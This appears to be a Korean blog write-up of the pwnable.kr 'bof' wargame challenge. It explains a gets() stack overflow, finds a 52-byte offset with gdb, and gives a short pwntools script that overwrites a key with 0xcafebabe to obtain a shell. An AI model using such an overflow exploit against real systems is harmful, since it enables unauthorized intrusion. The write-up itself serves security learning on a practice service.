해설
문제에서 bof.c 코드 파일과 bof 바이너리를 제공한다.
bof.c 코드는 아래와 같다.

보아하니 func에서 bof 취약점이 발생할 것 같다. gets는 bof 취약점이 있는 함수로, 스택을 덮어 씌워 key 값을 0xcafebabe로 변조하면 될 것 같다.

gdb로 func 함수를 확인해보니 gets는 [ebp-0x2c]부터 입력을 받고, 0xcafebabe와 비교하는 key 부분은 [ebp+0x8]이다. 두 주소의 차이는 0x8 - (-0x2c) = 0x34(52) 이다. 따라서 다음과 같은 코드를 통해 쉘을 획득할 수 있다.
from pwn import *
conn = remote("pwnable.kr", 9000)
payload = b"a"*52 + b"\xbe\xba\xfe\xca"
conn.sendline(payload)
conn.interactive()

'pwn' 카테고리의 다른 글
| pwnable.kr - passcode (0) | 2019.08.22 |
|---|---|
| pwnable.kr - random (0) | 2019.08.16 |
| pwnable.kr - flag (0) | 2019.08.13 |
| pwnable.kr - collision (0) | 2019.08.10 |
| pwnable.kr - fd (0) | 2019.08.08 |